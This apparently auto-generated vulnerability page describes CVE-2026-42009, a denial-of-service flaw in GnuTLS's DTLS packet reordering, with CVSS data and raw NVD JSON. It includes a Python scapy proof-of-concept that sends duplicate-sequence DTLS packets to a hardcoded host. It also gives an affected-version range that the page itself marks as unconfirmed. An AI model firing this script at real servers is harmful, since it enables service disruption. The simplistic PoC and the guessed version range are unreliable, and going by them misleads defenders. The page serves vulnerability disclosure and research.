Security Vulnerability Report
中文
CVE-2026-42009 CVSS 7.5 HIGH

CVE-2026-42009

Published: 2026-05-18 13:16:33
Last Modified: 2026-05-18 19:32:39

Description

A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

GnuTLS < 3.8.0 (需参考官方公告确认具体受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-42009 # This script demonstrates sending DTLS packets with duplicate sequence numbers to trigger the DoS. # Usage: python3 poc.py from scapy.all import * import struct def send_duplicate_dtls_packets(target_ip, target_port): # Define a duplicate sequence number seq_num = 0x000000000001 # DTLS Record Header: Content Type (1) + Version (2) + Epoch (2) + Sequence (6) + Length (2) # Simplified header for demonstration header_template = "!BHH" # Type, Version, Epoch # Packet 1 pkt1_header = struct.pack(header_template, 0x16, 0xFEFD, 0x0000) # Handshake, DTLS 1.2 pkt1_header += struct.pack("!Q", seq_num)[2:] # Take last 6 bytes for sequence pkt1_header += struct.pack("!H", 0x0000) # Length placeholder # Packet 2 with SAME sequence number pkt2_header = struct.pack(header_template, 0x16, 0xFEFD, 0x0000) pkt2_header += struct.pack("!Q", seq_num)[2:] # Duplicate sequence number pkt2_header += struct.pack("!H", 0x0000) # Send packets via UDP pkt1 = IP(dst=target_ip)/UDP(dport=target_port, sport=54321)/Raw(load=pkt1_header) pkt2 = IP(dst=target_ip)/UDP(dport=target_port, sport=54321)/Raw(load=pkt2_header) send(pkt1, verbose=0) send(pkt2, verbose=0) print(f"[+] Sent duplicate sequence packets to {target_ip}:{target_port}") if __name__ == "__main__": send_duplicate_dtls_packets("192.168.1.10", 4433)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42009", "sourceIdentifier": "[email protected]", "published": "2026-05-18T13:16:32.707", "lastModified": "2026-05-18T19:32:38.777", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-475"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-42009", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467279", "source": "[email protected]"}]}}